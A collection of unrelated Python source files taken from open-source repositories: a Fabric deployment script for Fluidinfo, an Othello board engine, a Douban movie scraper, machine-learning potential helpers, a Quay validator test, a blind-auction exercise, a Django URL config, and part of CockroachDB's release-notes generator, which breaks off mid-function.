ping(): """Ping the server.""" sudo('pwd') def prepareFluidinfo(runTests): """Prepare a Fluidinfo source tarball using the local branch. @param runTests: A flag to determine if the test suite should be run. @return: The name of the revision being deployed as a string matching the format, C{<date>-<time>}. """ if runTests: local('make build-clean build', capture=False) local('make check-all', capture=False) local('git archive --prefix=fluidinfo/ -v --format tar HEAD | ' 'bzip2 > fluidinfo.tar.bz2') return datetime.utcnow().strftime('%Y%m%d-%H%M') def installDevelopmentPackageDependencies(): """Install package dependencies needed to compile C extensions.""" sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get install -y gcc python-all-dev') def uninstallDevelopmentPackageDependencies(): """Uninstall package dependencies needed to compile C extensions.""" sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get remove -y --purge gcc python-all-dev') sudo('DEBIAN_FRONTEND=noninteractive ' 'apt-get autoremove -y') def stopStorageServices(): """Stop PostgreSQL and Solr services.""" sudo('/etc/init.d/tomcat6 stop') sudo('/etc/init.d/postgresql-8.4 stop') def startStorageServices(): """Start PostgreSQL and Solr services.""" sudo('/etc/init.d/tomcat6 start') sudo('/etc/init.d/postgresql-8.4 start') def deployFluidinfo(deploymentPath, revision): """Deploy Fluidinfo source code to the remote server. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ homePath = os.path.join('/home', env.user) revisionPath = os.path.join(deploymentPath, revision) sudo('mkdir -p %s' % revisionPath) put('fluidinfo.tar.bz2', homePath) filePath = os.path.join(homePath, 'fluidinfo.tar.bz2') sudo('cp %s %s' % (filePath, revisionPath)) with cd(revisionPath): sudo('chown -R fluidinfo %s' % revisionPath) sudo('chown fluidinfo fluidinfo.tar.bz2') sudo('tar jxvf fluidinfo.tar.bz2', user='fluidinfo') sudo('mkdir -p var/log var/log/trace var/run var/tmp', user='fluidinfo') with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('virtualenv .', user='fluidinfo') sudo('./bin/pip install --use-mirrors ' '--download-cache=/var/lib/fluidinfo/source-dependencies ' '-r requirements.txt', user='fluidinfo') ## Copy configuration files serverName = os.path.basename(deploymentPath) templateData = {'deployment-path': deploymentPath, 'server-name': serverName} fileCopies = [ ('fluidinfo/fluidinfo-api.conf.template', '../fluidinfo-api.conf'), ('cron/postgres-crontab.template', '../scripts/postgres-crontab'), ('cron/fluidinfo-crontab.template', '../scripts/fluidinfo-crontab'), ('cron/backup-postgresql.sh.template', '../scripts/backup-postgresql.sh'), ('cron/metrics.sh', '../scripts/metrics.sh'), ('cron/time-fluidinfo.py', '../scripts/time-fluidinfo.py'), ('cron/solr-optimize.sh', '../scripts/solr-optimize.sh') # TODO: Copy configuration files for nginx, haproxy, logrotate and # upstart, these require service restarts if files have changed. ] with cd(os.path.join(revisionPath, 'fluidinfo')): sudo('mkdir ../scripts') for origin, destination in fileCopies: specificFilename = os.path.join('deployment', serverName, origin) defaultFilename = os.path.join('deployment', 'default', origin) origin = (specificFilename if os.path.exists(specificFilename) else defaultFilename) sudo('cp {origin} {destination}'.format(**locals())) for key, value in templateData.iteritems(): value = value.replace('.', r'\.').replace('/', '\/') expression = r's/{{ %s }}/%s/g' % (key, value) sudo("sed -i -e '%s' %s" % (expression, destination)) sudo('chmod +x ../scripts/backup-postgresql.sh') sudo('crontab -u postgres ../scripts/postgres-crontab') sudo('crontab -u fluidinfo ../scripts/fluidinfo-crontab') def switchRevision(deploymentPath, revision): """Set the Fluidinfo deployment to a particular revision.""" with cd(deploymentPath): sudo('rm -f current') sudo('ln -s %s current' % revision) def startFluidinfo(): """Start the pool of Fluidinfo API services.""" sudo('start fluidinfo-api') sudo('/etc/init.d/haproxy start') sudo('/etc/init.d/nginx start') def stopFluidinfo(): """Stop the pool of Fluidinfo API services.""" for port in range(9001, 9009): sudo('stop fluidinfo-api-node PORT=%d || true' % port) sudo('/etc/init.d/nginx stop') sudo('/etc/init.d/haproxy stop') def restartFluidinfo(): """Restart the pool of Fluidinfo API services without downtime. Also send a SIGUSR1 to Nginx to make it reopen log files (in the new code bundle directory). """ for port in range(9001, 9009): sudo('stop fluidinfo-api-node PORT=%d || true' % port) sudo('start fluidinfo-api-node PORT=%d' % port) with settings(warn_only=True): sudo('kill -USR1 $(cat /var/run/nginx.pid)') def updateVersionTag(deploymentPath, revision): """Updates the fluiddb/version tag for changes in the API. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ fluidinfoPath = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(fluidinfoPath): with open('deployment/api-version.txt') as versionFile: version = versionFile.read() sudo('bin/python bin/fluidinfo update-version-tag ' 'postgres:///fluidinfo ' '%s' % version, user='fluidinfo') def clearRedisCache(deploymentPath, revision): """Clear redis cache after deployment. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ fluidinfoPath = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(fluidinfoPath): sudo('bin/python bin/fluidinfo clear-cache', user='fluidinfo') def hasUnappliedDatabasePatches(deploymentPath, revision): """Determine if there are database patches to apply. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. @return: C{True} if there are outstanding patches, otherwise C{False}. """ path = os.path.join(deploymentPath, revision, 'fluidinfo') with cd(path): with settings(warn_only=True): out = sudo('bin/python bin/fluidinfo ' 'patch-status postgres:///fluidinfo', user='fluidinfo') return out.return_code != 0 def applyDatabasePatches(deploymentPath, revision): """Apply database patches. The PostgreSQL database will be backed up before patches are applied, which means this could potentially take some time to run. @param deploymentPath: The path to deploy Fluidinfo in. @param revision: The C{str} revision of the branch being deployed. """ path = os.path.join(deploymentPath, revision, 'fluidinfo') postgresBackupScript = os.path.join(deploymentPath, revision, 'scripts', 'backup-postgresql.sh') with cd(path): with settings(warn_only=True): sudo('killall psql', user='postgres') logging.info('Backing up the Postgres database.') sudo(postgresBackupScript, user='postgres') sudo('bin/python bin/fluidinfo ' 'patch-database postgres:///fluidinfo', user='fluidinfo')
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games/OthelloLogic.py
Matioz/AlphaZero
1
1612502
<filename>games/OthelloLogic.py ''' Author: <NAME> Date: Feb 8, 2008. Board class. Board data: 1=white, -1=black, 0=empty first dim is column , 2nd is row: pieces[1][7] is the square in column 2, at the opposite end of the board in row 8. Squares are stored and manipulated as (x,y) tuples. x is the column, y is the row. ''' class Board(): # list of all 8 directions on the board, as (x,y) offsets __directions = [(1, 1), (1, 0), (1, -1), (0, -1), (-1, -1), (-1, 0), (-1, 1), (0, 1)] def __init__(self, n): "Set up initial board configuration." self.n = n # Create the empty board array. self.pieces = [None] * self.n for i in range(self.n): self.pieces[i] = [0] * self.n # Set up the initial 4 pieces. self.pieces[int(self.n / 2) - 1][int(self.n / 2)] = 1 self.pieces[int(self.n / 2)][int(self.n / 2) - 1] = 1 self.pieces[int(self.n / 2) - 1][int(self.n / 2) - 1] = -1 self.pieces[int(self.n / 2)][int(self.n / 2)] = -1 # add [][] indexer syntax to the Board def __getitem__(self, index): return self.pieces[index] def countDiff(self, color): """Counts the # pieces of the given color (1 for white, -1 for black, 0 for empty spaces)""" count = 0 for y in range(self.n): for x in range(self.n): if self[x][y] == color: count += 1 if self[x][y] == -color: count -= 1 return count def get_legal_moves(self, color): """Returns all the legal moves for the given color. (1 for white, -1 for black """ moves = set() # stores the legal moves. # Get all the squares with pieces of the given color. for y in range(self.n): for x in range(self.n): if self[x][y] == color: newmoves = self.get_moves_for_square((x, y)) moves.update(newmoves) return list(moves) def has_legal_moves(self, color): for y in range(self.n): for x in range(self.n): if self[x][y] == color: newmoves = self.get_moves_for_square((x, y)) if len(newmoves) > 0: return True return False def get_moves_for_square(self, square): """Returns all the legal moves that use the given square as a base. That is, if the given square is (3,4) and it contains a black piece, and (3,5) and (3,6) contain white pieces, and (3,7) is empty, one of the returned moves is (3,7) because everything from there to (3,4) is flipped. """ (x, y) = square # determine the color of the piece. color = self[x][y] # skip empty source squares. if color == 0: return None # search all possible directions. moves = [] for direction in self.__directions: move = self._discover_move(square, direction) if move: # print(square,move,direction) moves.append(move) # return the generated move list return moves def execute_move(self, move, color): """Perform the given move on the board; flips pieces as necessary. color gives the color pf the piece to play (1=white,-1=black) """ # Much like move generation, start at the new piece's square and # follow it on all 8 directions to look for a piece allowing flipping. # Add the piece to the empty square. # print(move) flips = [flip for direction in self.__directions for flip in self._get_flips(move, direction, color)] assert len(list(flips)) > 0 for x, y in flips: # print(self[x][y],color) self[x][y] = color def _discover_move(self, origin, direction): """ Returns the endpoint for a legal move, starting at the given origin, moving by the given increment.""" x, y = origin color = self[x][y] flips = [] for x, y in Board._increment_move(origin, direction, self.n): if self[x][y] == 0: if flips: # print("Found", x,y) return (x, y) else: return None elif self[x][y] == color: return None elif self[x][y] == -color: # print("Flip",x,y) flips.append((x, y)) def _get_flips(self, origin, direction, color): """ Gets the list of flips for a vertex and direction to use with the execute_move function """ # initialize variables flips = [origin] for x, y in Board._increment_move(origin, direction, self.n): # print(x,y) if self[x][y] == 0: return [] if self[x][y] == -color: flips.append((x, y)) elif self[x][y] == color and len(flips) > 0: # print(flips) return flips return [] @staticmethod def _increment_move(move, direction, n): # print(move) """ Generator expression for incrementing moves """ move = list(map(sum, zip(move, direction))) #move = (move[0]+direction[0], move[1]+direction[1]) while all(map(lambda x: 0 <= x < n, move)): # while 0<=move[0] and move[0]<n and 0<=move[1] and move[1]<n: yield move move = list(map(sum, zip(move, direction))) #move = (move[0]+direction[0],move[1]+direction[1])
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douban.movie_requests.py
willcod/requests_example
0
34586
<gh_stars>0 import requests, json from bs4 import BeautifulSoup hds=[{'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'},\ {'User-Agent':'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'},\ {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)'}] url_hot='https://movie.douban.com/j/search_subjects?type=movie&tag=%E7%83%AD%E9%97%A8&page_limit=50&page_start=0' url_highrate = 'https://movie.douban.com/j/search_subjects?type=movie&tag=%E8%B1%86%E7%93%A3%E9%AB%98%E5%88%86&page_limit=50&page_start=0' response = requests.get(url_highrate, headers=hds[1]) # print(response.text) data = json.loads(response.text); items = data['subjects'] for item in items[:]: print(item["title"] + ' ' + item['url']) if False: movie_resp = requests.get(item['url'], headers=hds[0]) #print(movie_resp.text); soup = BeautifulSoup(movie_resp.text, 'html.parser') div = soup.select('strong.ll.rating_num')[0] print(div.text)
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Clusters/GRAMS/programs.py
anywallsocket/Fancy
1
129565
<filename>Clusters/GRAMS/programs.py #!/usr/bin/env python3 #Mini Library of useful functions -- most algorithms are in-place import numpy as np from scipy.stats import gaussian_kde import matplotlib.pyplot as plt from ase.db import connect from amptorch import AtomsTrainer from amptorch import AMPtorch import torch def myprint(*kargs): s = '' for a in kargs: s=s+' '+str(a) with open('output', 'a') as f: f.write(s+'\n') def myplot(kind, x, y, iteration): MAE = round(np.mean(np.abs(x-y)),3) line=[np.min(y), np.max(y)] if kind=='energy' or kind=='relax': unit=' (eV)' elif kind=='force': unit=' (eV/A)' else: print('[either energy, forces, or relax]'); return xy = np.vstack([x,y]) z = gaussian_kde(xy)(xy) idx = z.argsort() x, y, z = x[idx], y[idx], z[idx] plt.plot(line, line, c='black', linestyle='dotted', linewidth=0.5, label=' MAE', zorder=3) plt.scatter(x, y, c=z, s=50, alpha=0.5, label=str(MAE), zorder=2) plt.colorbar().set_ticks([]) plt.title(str(iteration)) plt.xlabel('LMP '+kind+unit) plt.ylabel('NN '+kind+unit) plt.legend() plt.grid(zorder=1) if iteration !=0: plt.savefig('PICS/'+kind+str(iteration)+'.png', dpi=200) plt.close() def LoadAmpTorch(kind, iteration): checkpoint = 'checkpoints/NN'+str(iteration-1) config = torch.load(checkpoint+'/config.pt') if iteration > 0: config['optim']['force_coefficient'] = int(10/iteration) config['cmd']['identifier'] = 'LMP'+str(iteration) if kind == 'old': config['cmd']['logger'] = False else: config['cmd']['logger'] = False torch.save(config, checkpoint+'/config.pt') if kind == 'old': trainer = AtomsTrainer() trainer.load_pretrained(checkpoint) calc = AMPtorch(trainer) return calc if kind == 'new': #load new images data = 'DBs/train'+str(iteration)+'.db' db = connect(data) images = [] for i in range(len(db)): images.append(db.get_atoms(id=i+1)) if (len(images)==0): print('empty atoms object'); exit(1) config['dataset']['raw_data'] = images trainer = AtomsTrainer(config) return trainer else: print('kind must be new or old'); exit(1) def write_train(iteration): #Sort and prune for bad images / duplicates work = connect('DBs/working.db') train = connect('DBs/train'+str(iteration)+'.db') energies = [] for i in range(len(work)): energies.append(work.get_atoms(id=i+1).get_potential_energy()) indexsort = np.argsort(energies) uniqeindexsort = np.unique(np.round(np.sort(energies), 3), return_index=True)[1] #Filter edge cases for i in uniqeindexsort: c = work.get_atoms(id=int(indexsort[int(i)])+1) #skip any positions outside the box (Ang) pos = c.positions for j in pos: for k in j: if k <= 0 or k >= 20: break else: continue break #skip unstable structures (eV) else: if c.get_potential_energy() < -10 and c.get_potential_energy() > -50: train.write(c) myprint(len(train), 'images written to train.db') ###
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29937, 13, 2 ]
util/config/validators/test/test_validate_bitbucket_trigger.py
giuseppe/quay
2,027
4082
import pytest from httmock import urlmatch, HTTMock from util.config import URLSchemeAndHostname from util.config.validator import ValidatorContext from util.config.validators import ConfigValidationException from util.config.validators.validate_bitbucket_trigger import BitbucketTriggerValidator from test.fixtures import * @pytest.mark.parametrize( "unvalidated_config", [ (ValidatorContext({})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {}})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {"CONSUMER_KEY": "foo"}})), (ValidatorContext({"BITBUCKET_TRIGGER_CONFIG": {"CONSUMER_SECRET": "foo"}})), ], ) def test_validate_invalid_bitbucket_trigger_config(unvalidated_config, app): validator = BitbucketTriggerValidator() with pytest.raises(ConfigValidationException): validator.validate(unvalidated_config) def test_validate_bitbucket_trigger(app): url_hit = [False] @urlmatch(netloc=r"bitbucket.org") def handler(url, request): url_hit[0] = True return { "status_code": 200, "content": "oauth_token=foo&oauth_token_secret=bar", } with HTTMock(handler): validator = BitbucketTriggerValidator() url_scheme_and_hostname = URLSchemeAndHostname("http", "localhost:5000") unvalidated_config = ValidatorContext( { "BITBUCKET_TRIGGER_CONFIG": { "CONSUMER_KEY": "foo", "CONSUMER_SECRET": "bar", }, }, url_scheme_and_hostname=url_scheme_and_hostname, ) validator.validate(unvalidated_config) assert url_hit[0]
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Python 100 Days 100 Project /09_blind-auction/09_blind-auction.py
akhmadzaki/Programming
1
81829
<gh_stars>1-10 import os logo = ''' ___________ \ / )_______( |"""""""|_.-._,.---------.,_.-._ | | | | | | ''-. | |_| |_ _| |_..-' |_______| '-' `'---------'` '-' )"""""""( /_________\\ .-------------. /_______________\\ ''' print(logo) next = True allbids= {} def bidder(bid): highest = 0 for b in bid: bide = bid[b] if bide > highest: highest = bide key = b print(f"The winner is {key} with a bid of ${highest}.") while(next): name = input("What is your name? ") bid = int(input("What is your bid? $")) allbids[name] = bid choice = input("Are ther any other bidders? Type 'yes' or 'no'. ") if choice == 'no': next = False bidder(allbids) #maxName = max(allbids.keys()) #maximum = max(allbids.values()) #print(f"The winner is {maxName} with a bid of {maximum}") elif choice == 'yes': os.system('clear')
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webapps/website/urls.py
freewayz/django-starter
2
178916
<gh_stars>1-10 from django.conf.urls import url from webapps.website import views urlpatterns = [ url(r'^$', view=views.LandingPageView.as_view(), name="home") ]
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scripts/release-notes.py
centerorbit/cockroach
1
133279
<reponame>centerorbit/cockroach<filename>scripts/release-notes.py #! /usr/bin/env python3 # # Show a compact release note summary of a range of Git commits. # # Example use: release-notes.py --help # # Note: the first commit in the range is excluded! # # Requires: # - GitPython https://pypi.python.org/pypi/GitPython/ # - You need to configure your local repo to pull the PR refs from # GitHub. To do this, add a line like: # fetch = +refs/pull/*/head:refs/pull/origin/* # to the GitHub remote section of .git/config. # # Disclaimer: this program is provided without warranties of any kind, # including suitability for any purpose. The author(s) will not be # responsible if this script eats your left sock. # # Known limitations: # # - if different people with the same name contribute, this script # will be confused. (it will merge their work under one entry). # - the list of aliases below must be manually modified when # contributors change their git name and/or email address. # # Note: there are unit tests in the release-notes subdirectory! import sys import itertools import re import os import datetime, time import subprocess from git import Repo from optparse import OptionParser from git.repo.fun import name_to_object from git.util import Stats ### Global behavior constants ### # minimum sha length to disambiguate shamin = 9 # FIXME(knz): This probably needs to use the .mailmap. author_aliases = { 'changangela': "<NAME>", 'dianasaur323': "<NAME>", 'kena': "Raphael 'kena' Poss", 'vivekmenezes': "<NAME>", 'RaduBerinde': "<NAME>", '<NAME>': "<NAME>", 'marc': "<NAME>", 'Lauren': "<NAME>", 'lhirata' : "<NAME>", 'Emmanuel': "<NAME>", 'MBerhault': "<NAME>", 'Nate': "<NAME>", 'a6802739': "Song Hao", 'Abhemailk <EMAIL>': "<NAME>", 'rytaft': "<NAME>", 'songhao': "<NAME>", 'solongordon': "<NAME>", 'tim-o': "<NAME>", 'Amruta': "<NAME>", 'yuzefovich': "<NAME>", 'madhavsuresh': "<NAME>", '<NAME>': "<NAME>", } # FIXME(knz): This too. crdb_folk = set([ "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", "<NAME>", ]) # Section titles for release notes. relnotetitles = { 'cli change': "Command-line changes", 'sql change': "SQL language changes", 'admin ui change': "Admin UI changes", 'general change': "General changes", 'build change': "Build changes", 'enterprise change': "Enterprise edition changes", 'backward-incompatible change': "Backward-incompatible changes", 'performance improvement': "Performance improvements", 'bug fix': "Bug fixes", } # Order in which to show the sections. relnote_sec_order = [ 'backward-incompatible change', 'general change', 'enterprise change', 'sql change', 'cli change', 'admin ui change', 'bug fix', 'performance improvement', 'build change', ] # Release note category common misspellings. cat_misspells = { 'sql' : 'sql change', 'general': 'general change', 'core change': 'general change', 'bugfix': 'bug fix', 'performance change' : 'performance improvement', 'performance' : 'performance improvement', 'ui' : 'admin ui change', 'backwards-incompatible change': 'backward-incompatible change', 'enterprise': 'enterprise change' } ## Release note format ## # The following release note formats have been seen in the wild: # # Release note (xxx): yyy <- canonical # Release Notes: None # Release note (xxx): yyy # Release note (xxx) : yyy # Release note: (xxx): yyy # Release note: xxx: yyy # Release note: (xxx) yyy # Release note: yyy (no category) # Release note (xxx, zzz): yyy norelnote = re.compile(r'^[rR]elease [nN]otes?: *[Nn]one', flags=re.M) # Captures :? (xxx) ?: yyy form1 = r':? *\((?P<cat1>[^)]*)\) *:?' # Captures : xxx: yyy - this must be careful not to capture too much, we just accept one or two words form2 = r': *(?P<cat2>[^ ]+(?: +[^ ]+)?) *:' # Captures : yyy - no category form3 = r':(?P<cat3>)' relnote = re.compile(r'(?:^|[\n\r])[rR]elease [nN]otes? *(?:' + form1 + '|' + form2 + '|' + form3 + r') *(?P<note>.*)$', flags=re.S) coauthor = re.compile(r'^Co-authored-by: (?P<name>[^<]*) <(?P<email>.*)>', flags=re.M) fixannot = re.compile(r'^([fF]ix(es|ed)?|[cC]lose(d|s)?) #', flags=re.M) ## Merge commit format ## # The following merge commits have been seen in the wild: # # Merge pull request #XXXXX from ... <- GitHub merges # Merge #XXXXX #XXXXX #XXXXX <- Bors merges merge_numbers = re.compile(r'^Merge( pull request)?(?P<numbers>( #[0-9]+)+)') ### Initialization / option parsing ### parser = OptionParser() parser.add_option("-k", "--sort-key", dest="sort_key", default="title", help="sort by KEY (pr, title, insertions, deletions, files, sha, date; default: title)", metavar="KEY") parser.add_option("-r", "--reverse", action="store_true", dest="reverse_sort", default=False, help="reverse sort") parser.add_option("-f", "--from", dest="from_commit", help="list history from COMMIT. Note: the first commit is excluded.", metavar="COMMIT") parser.add_option("-t", "--until", dest="until_commit", default="HEAD", help="list history up and until COMMIT (default: HEAD)", metavar="COMMIT") parser.add_option("-p", "--pull-ref", dest="pull_ref_prefix", default="refs/pull/origin", help="prefix for pull request refs (default: refs/pull/origin)", metavar="PREFIX") parser.add_option("--hide-unambiguous-shas", action="store_true", dest="hide_shas", default=False, help="omit commit SHAs from the release notes and per-contributor sections") parser.add_option("--hide-per-contributor-section", action="store_true", dest="hide_per_contributor", default=False, help="omit the per-contributor section") parser.add_option("--hide-downloads-section", action="store_true", dest="hide_downloads", default=False, help="omit the email sign-up and downloads section") parser.add_option("--hide-header", action="store_true", dest="hide_header", default=False, help="omit the title and date header") parser.add_option("--exclude-from", dest="exclude_from_commit", help="exclude history starting after COMMIT. Note: COMMIT itself is excluded.", metavar="COMMIT") parser.add_option("--exclude-until", dest="exclude_until_commit", help="exclude history ending at COMMIT", metavar="COMMIT") parser.add_option("--one-line", dest="one_line", action="store_true", default=False, help="unwrap release notes on a single line") (options, args) = parser.parse_args() sortkey = options.sort_key revsort = options.reverse_sort pull_ref_prefix = options.pull_ref_prefix hideshas = options.hide_shas hidepercontributor = options.hide_per_contributor hidedownloads = options.hide_downloads hideheader = options.hide_header repo = Repo('.') heads = repo.heads def reformat_note(note_lines): sep = '\n' if options.one_line: sep = ' ' return sep.join(note_lines).strip() # Check that pull_ref_prefix is valid testrefname = "%s/1" % pull_ref_prefix try: repo.commit(testrefname) except: print("Unable to find pull request refs at %s." % pull_ref_prefix, file=sys.stderr) print("Is your repo set up to fetch them? Try adding", file=sys.stderr) print(" fetch = +refs/pull/*/head:%s/*" % pull_ref_prefix, file=sys.stderr) print("to the GitHub remote section of .git/config.", file=sys.stderr) exit(1) def find_commits(from_commit_ref, until_commit_ref): try: firstCommit = repo.commit(from_commit_ref) except: print("Unable to find the first commit of the range.", file=sys.stderr) print("No ref named %s." % from_commit_ref, file=sys.stderr) exit(1) try: commit = repo.commit(until_commit_ref) except: print("Unable to find the last commit of the range.", file=sys.stderr) print("No ref named %s." % until_commit_ref, file=sys.stderr) exit(1) return firstCommit, commit firstCommit, commit = find_commits(options.from_commit, options.until_commit) if commit == firstCommit: print("Commit range is empty!", file=sys.stderr) print(parser.get_usage(), file=sys.stderr) print("Example use:", file=sys.stderr) print(" %s --help" % sys.argv[0], file=sys.stderr) print(" %s --from xxx >output.md" % sys.argv[0], file=sys.stderr) print(" %s --from xxx --until yyy >output.md" % sys.argv[0], file=sys.stderr) print("Note: the first commit is excluded. Use e.g.: --from <prev-release-tag> --until <new-release-candidate-sha>", file=sys.stderr) exit(0) excludedFirst, excludedLast = None, None if options.exclude_from_commit or options.exclude_until_commit: if not options.exclude_from_commit or not options.exclude_until_commit: print("Both -xf and -xt must be specified, or not at all.") exit(1) excludedFirst, excludedLast = find_commits(options.exclude_from_commit, options.exclude_until_commit) ### Reading data from repository ### def identify_commit(commit): return '%s ("%s", %s)' % ( commit.hexsha, commit.message.split('\n',1)[0], datetime.datetime.fromtimestamp(commit.committed_date).ctime()) def check_reachability(firstCommit, commit): # Is the first commit reachable from the current one? base = repo.merge_base(firstCommit, commit) if len(base) == 0: print("error: %s:%s\nand %s:%s\nhave no common ancestor" % ( options.from_commit, identify_commit(firstCommit), options.until_commit, identify_commit(commit)), file=sys.stderr) exit(1) commonParent = base[0] if firstCommit != commonParent: print("warning: %s:%s\nis not an ancestor of %s:%s!" % ( options.from_commit, identify_commit(firstCommit), options.until_commit, identify_commit(commit)), file=sys.stderr) print(file=sys.stderr) ageindays = int((firstCommit.committed_date - commonParent.committed_date)/86400) prevlen = sum((1 for x in repo.iter_commits(commonParent.hexsha + '...' + firstCommit.hexsha))) print("The first common ancestor is %s" % identify_commit(commonParent), file=sys.stderr) print("which is %d commits older than %s:%s\nand %d days older. Using that as origin." %\ (prevlen, options.from_commit, identify_commit(firstCommit), ageindays), file=sys.stderr) print(file=sys.stderr) firstCommit = commonParent return firstCommit, commit firstCommit, commit = check_reachability(firstCommit, commit) options.from_commit = firstCommit.hexsha def extract_release_notes(commit): msglines = commit.message.split('\n') curnote = [] innote = False foundnote = False cat = None notes = [] for line in msglines: m = coauthor.search(line) if m is not None: # A Co-authored-line finishes the parsing of the commit message, # because it's included at the end only. break m = fixannot.search(line) if m is not None: # Fix/Close etc. Ignore. continue m = norelnote.search(line) if m is not None: # Release note: None # # Remember we found a note (so the commit is not marked as "missing # a release note"), but we won't collect it. foundnote = True continue m = relnote.search(line) if m is None: # Current line does not contain a release note separator. # If we were already collecting a note, continue collecting it. if innote: curnote.append(line) continue # We have a release note boundary. If we were collecting a # note already, complete it. if innote: notes.append((cat, reformat_note(curnote))) curnote = [] innote = False # Start a new release note. firstline = m.group('note').strip() if firstline.lower() == 'none': # Release note: none - there's no note yet. continue foundnote = True innote = True # Capitalize the first line. if firstline != "": firstline = firstline[0].upper() + firstline[1:] curnote = [firstline] cat = m.group('cat1') if cat is None: cat = m.group('cat2') if cat is None: cat = 'missing category' # Normalize to tolerate various capitalizations. cat = cat.lower() # If there are multiple categories separated by commas or slashes, use the first as grouping key. cat = cat.split(',', 1)[0] cat = cat.split('/', 1)[0] # If there is any misspell, correct it. if cat in cat_misspells: cat = cat_misspells[cat] if innote: notes.append((cat, reformat_note(curnote))) return foundnote, notes spinner = itertools.cycle(['/', '-', '\\', '|']) counter = 0 def spin(): global counter # Display a progress bar counter += 1 if counter % 10 == 0: if counter % 100 == 0: print("\b..", end='', file=sys.stderr) print("\b", end='', file=sys.stderr) print(next(spinner), end='', file=sys.stderr) sys.stderr.flush() def get_direct_history(firstCommit, lastCommit): history = [] for c in repo.iter_commits(firstCommit.hexsha + '..' + lastCommit.hexsha, first_parent = True): history.append(c) return history excluded_notes = set() if excludedFirst is not None: # # Collect all the notes to exclude during collection below. # print("Collecting EXCLUDED release notes from\n%s\nuntil\n%s" % (identify_commit(excludedFirst), identify_commit(excludedLast)), file=sys.stderr) # First ensure that the loop below will terminate. excludedFirst, excludedLast = check_reachability(excludedFirst, excludedLast) # Collect all the merge points, so we can measure progress. mergepoints = get_direct_history(excludedFirst, excludedLast) # Now collect all commits. print("Collecting EXCLUDED release notes...", file=sys.stderr) i = 0 progress = 0 lastTime = time.time() for c in repo.iter_commits(excludedFirst.hexsha + '..' + excludedLast.hexsha): progress = int(100. * float(i) / len(mergepoints)) newTime = time.time() if newTime >= lastTime + 5: print("\b%d%%.." % progress, file=sys.stderr, end='') lastTime = newTime i += 1 spin() # Collect the release notes in that commit. _, notes = extract_release_notes(c) for cat, note in notes: excluded_notes.add((cat, note)) print("\b100%\n", file=sys.stderr) print("Collecting release notes from\n%s\nuntil\n%s" % (identify_commit(firstCommit), identify_commit(commit)), file=sys.stderr) release_notes = {} missing_release_notes = [] def collect_authors(commit): authors = set() author = author_aliases.get(commit.author.name, commit.author.name) if author != 'GitHub': authors.add(author) author = author_aliases.get(commit.committer.name, commit.committer.name) if author != 'GitHub': authors.add(author) for m in coauthor.finditer(commit.message): aname = m.group('name').strip() author = author_aliases.get(aname, aname) authors.add(author) return authors def process_release_notes(pr, title, commit): authors = collect_authors(commit) foundnote, notes = extract_release_notes(commit) # At the end the notes will be presented in reverse order, because # we explore the commits in reverse order. However within 1 commit # the notes are in the correct order. So reverse them upfront here, # so that the 2nd reverse gets them in the right order again. for cat, note in reversed(notes): if (cat, note) not in excluded_notes: completenote(commit, cat, note, authors, pr, title) missing_item = None if not foundnote: # Missing release note. Keep track for later. missing_item = makeitem(pr, title, commit.hexsha[:shamin], authors) return missing_item, authors def makeitem(pr, prtitle, sha, authors): return {'authors': ', '.join(sorted(authors)), 'sha': sha, 'pr': pr, 'title': prtitle, 'note': None} def completenote(commit, cat, notemsg, authors, pr, title): item = makeitem(pr, title, commit.hexsha[:shamin], authors) item['note'] = notemsg # Now collect per category. catnotes = release_notes.get(cat, []) catnotes.append(item) release_notes[cat] = catnotes per_group_history = {} individual_authors = set() allprs = set() # This function groups and counts all the commits that belong to a particular PR. # Some description is in order regarding the logic here: it should visit all # commits that are on the PR and only on the PR. If there's some secondary # branch merge included on the PR, as long as those commits don't otherwise end # up reachable from the target branch, they'll be included. If there's a back- # merge from the target branch, that should be excluded. # # Examples: # # ### secondary branch merged into PR # # Dev branched off of K, made a commit J, made a commit G while someone else # committed H, merged H from the secondary branch to the topic branch in E, # made a final commit in C, then merged to master in A. # # A <-- master # |\ # | \ # B C <-- PR tip # | | # | | # D E <-- secondary merge # | |\ # | | \ # F G H <-- secondary branch # | | / # | |/ # I J # | / # |/ # K <-- merge base # # C, E, G, H, and J will each be checked. None of them are ancestors of B, # so they will all be visited. E will be not be counted because the message # starts with "Merge", so in the end C, G, H, and J will be included. # # ### back-merge from target branch # # Dev branched off H, made one commit G, merged the latest F from master in E, # made one final commit in C, then merged the PR. # # A <-- master # |\ # | \ # B C <-- PR tip # | | # | | # D E <-- back-merge # | /| # |/ | # F G # | / # |/ # H <-- merge base # # C, E, F, and G will each be checked. F is an ancestor of B, so it will be # excluded. E starts with "Merge", so it will not be counted. Only C and G will # have statistics included. def analyze_pr(merge, pr): allprs.add(pr) refname = pull_ref_prefix + "/" + pr[1:] tip = 